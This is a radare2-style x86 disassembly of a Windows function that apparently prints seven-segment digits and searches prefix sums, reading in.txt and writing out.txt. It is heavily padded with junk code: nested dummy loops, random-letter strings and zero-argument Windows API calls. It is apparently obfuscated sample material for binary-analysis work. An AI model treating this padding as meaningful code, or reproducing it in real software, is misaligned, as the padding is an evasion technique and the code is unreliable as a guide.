mov dword [ebp - 0x23dc], eax
mov dword [ebp - 0x23d8], edx
push dword [ebp - 0x23d8]
push dword [ebp - 0x23dc]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e35e5
jmp 0x4e35c3
jmp 0x4e359d
jmp 0x4e3577
and dword [ebp - 0x950], 0
jmp 0x4e3662
mov eax, dword [ebp - 0x950]
inc eax
mov dword [ebp - 0x950], eax
cmp dword [ebp - 0x950], 0x5ca1
jge 0x4e4483
and dword [ebp - 0x958], 0
jmp 0x4e3688
mov eax, dword [ebp - 0x958]
inc eax
mov dword [ebp - 0x958], eax
cmp dword [ebp - 0x958], 0x7e7b
jge 0x4e447e
mov dword [ebp - 0x1574], 0x644c
mov dword [ebp - 0x229c], str.qnlv_hhybj_jxejxde_fwdkr
cmp dword [ebp - 0x1574], 0x65df
jle 0x4e4412
and dword [ebp - 0x930], 0
jmp 0x4e36d2
mov eax, dword [ebp - 0x930]
inc eax
mov dword [ebp - 0x930], eax
cmp dword [ebp - 0x930], 0x396f
jge 0x4e4408
and dword [ebp - 0x938], 0
jmp 0x4e36f8
mov eax, dword [ebp - 0x938]
inc eax
mov dword [ebp - 0x938], eax
cmp dword [ebp - 0x938], 0x49d6
jge 0x4e4403
and dword [ebp - 0x940], 0
jmp 0x4e371e
mov eax, dword [ebp - 0x940]
inc eax
mov dword [ebp - 0x940], eax
cmp dword [ebp - 0x940], 0x473a
jge 0x4e43fe
and dword [ebp - 0x948], 0
jmp 0x4e3744
mov eax, dword [ebp - 0x948]
inc eax
mov dword [ebp - 0x948], eax
cmp dword [ebp - 0x948], 0x25f4
jge 0x4e43f9
mov eax, dword [ebp - 0x930]
imul eax, dword [ebp - 0x938]
mov ecx, dword [ebp - 0x940]
shl eax, cl
xor eax, dword [ebp - 0x948]
cdq
mov dword [ebp - 0x23e8], eax
mov dword [ebp - 0x23e4], edx
mov dword [ebp - 0x25b8], 0x2021
cmp dword [ebp - 0x25b8], 0x1159
jge 0x4e43de
call fcn.004f12b6
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0xab59f4
push str.in.txt
call fcn.004f1af8
add esp, 0xc
call fcn.004f12b6
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0xab5f10
push str.out.txt
call fcn.004f1af8
add esp, 0xc
lea ecx, [ebp - 0x1b1c]
call fcn.004016ac
push 3
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 0
push 3
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 3
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 0
push 3
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 0
push 3
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 3
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
shl eax, 2
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 3
pop eax
shl eax, 2
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 0
push 3
pop eax
shl eax, 2
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 5
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 5
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 5
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 6
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 6
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 6
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 7
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 7
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 3
pop eax
imul eax, eax, 7
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 0
push 3
pop eax
shl eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 3
pop eax
shl eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
shl eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 9
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 9
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 3
pop eax
imul eax, eax, 9
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 0
push 4
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 4
pop eax
shl eax, 0
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 0
push 4
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 1
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 2
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 2
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 2
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 4
pop eax
shl eax, 2
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 5
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 5
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 5
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 5
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 6
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 6
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 6
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 6
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 7
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 7
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 7
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 7
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
shl eax, 3
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 9
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 9
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
mov byte [eax + ecx], 1
push 4
pop eax
imul eax, eax, 9
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
shl ecx, 1
mov byte [eax + ecx], 0
push 4
pop eax
imul eax, eax, 9
lea eax, [ebp + eax - 0x118c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
mov byte [eax + ecx], 1
xor eax, eax
inc eax
je 0x4e43d3
lea eax, [ebp - 0xac]
push eax
mov ecx, 0xac75e0
call fcn.00417279
lea edx, [ebp - 0x1b1c]
mov ecx, eax
call fcn.0041c6ac
cmp dword [ebp - 0xac], 0
jne 0x4e3e45
jmp 0x4e43d3
and dword [ebp - 0x3e4], 0
jmp 0x4e3e5b
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
lea ecx, [ebp - 0x1b1c]
call fcn.0040175f
cmp dword [ebp - 0x3e4], eax
jae 0x4e3f39
cmp dword [ebp - 0x3e4], 0
je 0x4e3e87
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x1b1c]
call fcn.0040174b
movsx eax, byte [eax]
sub eax, 0x30
imul eax, eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx eax, byte [eax + ecx]
test eax, eax
je 0x4e3ef6
and dword [ebp - 0x11ac], 0
jmp 0x4e3ed8
mov eax, dword [ebp - 0x11ac]
inc eax
mov dword [ebp - 0x11ac], eax
mov eax, dword [ebp - 0x11ac]
cmp eax, dword [ebp - 0xac]
jge 0x4e3ef4
mov dl, 0x2d
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e3ecb
jmp 0x4e3f28
and dword [ebp - 0x11b4], 0
jmp 0x4e3f0c
mov eax, dword [ebp - 0x11b4]
inc eax
mov dword [ebp - 0x11b4], eax
mov eax, dword [ebp - 0x11b4]
cmp eax, dword [ebp - 0xac]
jge 0x4e3f28
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e3eff
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e3e4e
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
and dword [ebp - 0x11bc], 0
jmp 0x4e3f5e
mov eax, dword [ebp - 0x11bc]
inc eax
mov dword [ebp - 0x11bc], eax
mov eax, dword [ebp - 0x11bc]
cmp eax, dword [ebp - 0xac]
jge 0x4e4083
and dword [ebp - 0x2b0], 0
jmp 0x4e3f86
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
lea ecx, [ebp - 0x1b1c]
call fcn.0040175f
cmp dword [ebp - 0x2b0], eax
jae 0x4e406f
cmp dword [ebp - 0x2b0], 0
je 0x4e3fb2
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0x1b1c]
call fcn.0040174b
movsx eax, byte [eax]
lea eax, [ebp + eax*4 - 0x124c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx eax, byte [eax + ecx]
test eax, eax
je 0x4e3fe9
mov dl, 0x7c
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e3ff5
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
and dword [ebp - 0x11c4], 0
jmp 0x4e400b
mov eax, dword [ebp - 0x11c4]
inc eax
mov dword [ebp - 0x11c4], eax
mov eax, dword [ebp - 0x11c4]
cmp eax, dword [ebp - 0xac]
jge 0x4e4027
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e3ffe
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0x1b1c]
call fcn.0040174b
movsx eax, byte [eax]
lea eax, [ebp + eax*4 - 0x124c]
xor ecx, ecx
inc ecx
shl ecx, 0
movzx eax, byte [eax + ecx]
test eax, eax
je 0x4e405e
mov dl, 0x7c
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e406a
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e3f79
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
jmp 0x4e3f51
and dword [ebp - 0x3ec], 0
jmp 0x4e4099
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
lea ecx, [ebp - 0x1b1c]
call fcn.0040175f
cmp dword [ebp - 0x3ec], eax
jae 0x4e4177
cmp dword [ebp - 0x3ec], 0
je 0x4e40c5
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
push dword [ebp - 0x3ec]
lea ecx, [ebp - 0x1b1c]
call fcn.0040174b
movsx eax, byte [eax]
sub eax, 0x30
imul eax, eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 0
movzx eax, byte [eax + ecx]
test eax, eax
je 0x4e4134
and dword [ebp - 0x11cc], 0
jmp 0x4e4116
mov eax, dword [ebp - 0x11cc]
inc eax
mov dword [ebp - 0x11cc], eax
mov eax, dword [ebp - 0x11cc]
cmp eax, dword [ebp - 0xac]
jge 0x4e4132
mov dl, 0x2d
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e4109
jmp 0x4e4166
and dword [ebp - 0x11d4], 0
jmp 0x4e414a
mov eax, dword [ebp - 0x11d4]
inc eax
mov dword [ebp - 0x11d4], eax
mov eax, dword [ebp - 0x11d4]
cmp eax, dword [ebp - 0xac]
jge 0x4e4166
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e413d
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e408c
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
and dword [ebp - 0x11dc], 0
jmp 0x4e419c
mov eax, dword [ebp - 0x11dc]
inc eax
mov dword [ebp - 0x11dc], eax
mov eax, dword [ebp - 0x11dc]
cmp eax, dword [ebp - 0xac]
jge 0x4e42c0
and dword [ebp - 0x2b8], 0
jmp 0x4e41c4
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
lea ecx, [ebp - 0x1b1c]
call fcn.0040175f
cmp dword [ebp - 0x2b8], eax
jae 0x4e42ac
cmp dword [ebp - 0x2b8], 0
je 0x4e41f0
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
push dword [ebp - 0x2b8]
lea ecx, [ebp - 0x1b1c]
call fcn.0040174b
movsx eax, byte [eax]
lea eax, [ebp + eax*4 - 0x124c]
xor ecx, ecx
inc ecx
shl ecx, 1
movzx eax, byte [eax + ecx]
test eax, eax
je 0x4e4226
mov dl, 0x7c
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e4232
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
and dword [ebp - 0x11e4], 0
jmp 0x4e4248
mov eax, dword [ebp - 0x11e4]
inc eax
mov dword [ebp - 0x11e4], eax
mov eax, dword [ebp - 0x11e4]
cmp eax, dword [ebp - 0xac]
jge 0x4e4264
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e423b
push dword [ebp - 0x2b8]
lea ecx, [ebp - 0x1b1c]
call fcn.0040174b
movsx eax, byte [eax]
lea eax, [ebp + eax*4 - 0x124c]
xor ecx, ecx
inc ecx
imul ecx, ecx, 3
movzx eax, byte [eax + ecx]
test eax, eax
je 0x4e429b
mov dl, 0x7c
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e42a7
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e41b7
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
jmp 0x4e418f
and dword [ebp - 0x3f4], 0
jmp 0x4e42d6
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
lea ecx, [ebp - 0x1b1c]
call fcn.0040175f
cmp dword [ebp - 0x3f4], eax
jae 0x4e43b3
cmp dword [ebp - 0x3f4], 0
je 0x4e4302
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
push dword [ebp - 0x3f4]
lea ecx, [ebp - 0x1b1c]
call fcn.0040174b
movsx eax, byte [eax]
sub eax, 0x30
imul eax, eax, 3
lea eax, [ebp + eax - 0x1164]
xor ecx, ecx
inc ecx
shl ecx, 1
movzx eax, byte [eax + ecx]
test eax, eax
je 0x4e4370
and dword [ebp - 0x11ec], 0
jmp 0x4e4352
mov eax, dword [ebp - 0x11ec]
inc eax
mov dword [ebp - 0x11ec], eax
mov eax, dword [ebp - 0x11ec]
cmp eax, dword [ebp - 0xac]
jge 0x4e436e
mov dl, 0x2d
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e4345
jmp 0x4e43a2
and dword [ebp - 0x11f4], 0
jmp 0x4e4386
mov eax, dword [ebp - 0x11f4]
inc eax
mov dword [ebp - 0x11f4], eax
mov eax, dword [ebp - 0x11f4]
cmp eax, dword [ebp - 0xac]
jge 0x4e43a2
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e4379
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4e42c9
push fcn.0041c2ab
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
mov ecx, eax
call fcn.00417675
jmp 0x4e3e10
lea ecx, [ebp - 0x1b1c]
call fcn.00401711
push dword [ebp - 0x23e4]
push dword [ebp - 0x23e8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e3737
jmp 0x4e3711
jmp 0x4e36eb
jmp 0x4e36c5
push 0
push 0
call dword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [ebp - 0x950]
xor eax, dword [ebp - 0x958]
cdq
mov dword [ebp - 0x23f4], eax
mov dword [ebp - 0x23f0], edx
cmp dword [ebp - 0x1574], 0x6238
jge 0x4e4447
mov edx, dword [ebp - 0x229c]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x23f0]
push dword [ebp - 0x23f4]
lea ecx, [ebp - 0x33f0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x33f0]
call fcn.00401711
jmp 0x4e367b
jmp 0x4e3655
cmp dword [ebp - 0x157c], 0x3333
jge 0x4e449f
mov edx, dword [ebp - 0x1ba4]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1584], 0x7577
mov dword [ebp - 0x22a8], str.mkylvole_lulevjepq_mcvauimdd
cmp dword [ebp - 0x1584], 0x793a
jle 0x4e459a
and dword [ebp - 0x960], 0
jmp 0x4e44d9
mov eax, dword [ebp - 0x960]
inc eax
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0x960], 0x4cee
jge 0x4e458e
and dword [ebp - 0x968], 0
jmp 0x4e44ff
mov eax, dword [ebp - 0x968]
inc eax
mov dword [ebp - 0x968], eax
cmp dword [ebp - 0x968], 0x889
jge 0x4e4589
and dword [ebp - 0x970], 0
jmp 0x4e4521
mov eax, dword [ebp - 0x970]
inc eax
mov dword [ebp - 0x970], eax
cmp dword [ebp - 0x970], 0x7480
jge 0x4e4584
mov eax, dword [ebp - 0x960]
mov ecx, dword [ebp - 0x968]
sar eax, cl
mov ecx, dword [ebp - 0x970]
shl eax, cl
cdq
mov dword [ebp - 0x2400], eax
mov dword [ebp - 0x23fc], edx
push dword [ebp - 0x23fc]
push dword [ebp - 0x2400]
lea ecx, [ebp - 0x3420]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3420]
call fcn.00401711
jmp 0x4e4514
jmp 0x4e44f2
jmp 0x4e44cc
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtSelectClipRgn]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [ebp - 0x1584], 0x753f
jge 0x4e45be
push dword [ebp - 0x22a8]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x25c8], 0x1a60
cmp dword [ebp - 0x25c8], 0x112f
jge 0x4e477a
and dword [ebp - 0x978], 0
lea eax, [ebp - 0x978]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
xor ecx, ecx
mov eax, dword [ebp - 0x978]
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ec8d1
pop ecx
mov dword [ebp - 0x22b4], eax
mov eax, dword [ebp - 0x22b4]
mov dword [ebp - 0x120c], eax
and dword [ebp - 0x980], 0
and dword [ebp - 0x3fc], 0
jmp 0x4e463c
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x3fc]
cmp eax, dword [ebp - 0x978]
jge 0x4e4683
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 0x120c]
lea eax, [ecx + eax*4]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 0x120c]
mov edx, dword [ebp - 0x980]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x980], edx
jmp 0x4e462f
and dword [ebp - 0x11fc], 0
and dword [ebp - 0x1204], 0
lea eax, [ebp - 0x1204]
push eax
lea eax, [ebp - 0x11fc]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x2c0], 0
and dword [ebp - 0x1214], 0
and dword [ebp - 0x404], 0
jmp 0x4e46d0
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
cmp eax, dword [ebp - 0x978]
jge 0x4e4750
mov eax, dword [ebp - 0x11fc]
cmp eax, dword [ebp - 0x2c0]
jg 0x4e4730
mov eax, dword [ebp - 0x2c0]
cmp eax, dword [ebp - 0x1204]
jg 0x4e4730
mov eax, dword [ebp - 0x11fc]
add eax, dword [ebp - 0x2c0]
cmp eax, dword [ebp - 0x980]
jg 0x4e4730
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x1204]
cmp dword [ebp - 0x980], eax
jg 0x4e4730
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x1214], eax
jmp 0x4e4750
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x120c]
mov edx, dword [ebp - 0x2c0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x2c0], edx
jmp 0x4e46c3
cmp dword [ebp - 0x1214], 0
je 0x4e476f
mov eax, dword [ebp - 0x1214]
inc eax
push eax
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e477a
push 0xab5a68
call fcn.004f1b87
pop ecx
mov eax, dword [ebp - 0x988]
mov ecx, dword [ebp - 0x990]
sar eax, cl
cdq
mov dword [ebp - 0x2418], eax
mov dword [ebp - 0x2414], edx
cmp dword [ebp - 0x158c], 0x31b3
jge 0x4e47ad
push dword [ebp - 0x25d0]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1594], 0x25e4
mov dword [ebp - 0x22c0], str.udumufq_bpgn_lsjloh_kpfpjvo_dum
cmp dword [ebp - 0x1594], 0x26fa
jle 0x4e487a
and dword [ebp - 0x998], 0
jmp 0x4e47e7
mov eax, dword [ebp - 0x998]
inc eax
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x998], 0x3428
jge 0x4e487a
and dword [ebp - 0x9a0], 0
jmp 0x4e480d
mov eax, dword [ebp - 0x9a0]
inc eax
mov dword [ebp - 0x9a0], eax
cmp dword [ebp - 0x9a0], 0x4e46
jge 0x4e4875
and dword [ebp - 0x9a8], 0
jmp 0x4e482f
mov eax, dword [ebp - 0x9a8]
inc eax
mov dword [ebp - 0x9a8], eax
cmp dword [ebp - 0x9a8], 0x24bf
jge 0x4e4873
mov eax, dword [ebp - 0x998]
imul eax, dword [ebp - 0x9a0]
or eax, dword [ebp - 0x9a8]
cdq
mov dword [ebp - 0x240c], eax
mov dword [ebp - 0x2408], edx
push dword [ebp - 0x2408]
push dword [ebp - 0x240c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e4822
jmp 0x4e4800
jmp 0x4e47da
push dword [ebp - 0x2414]
push dword [ebp - 0x2418]
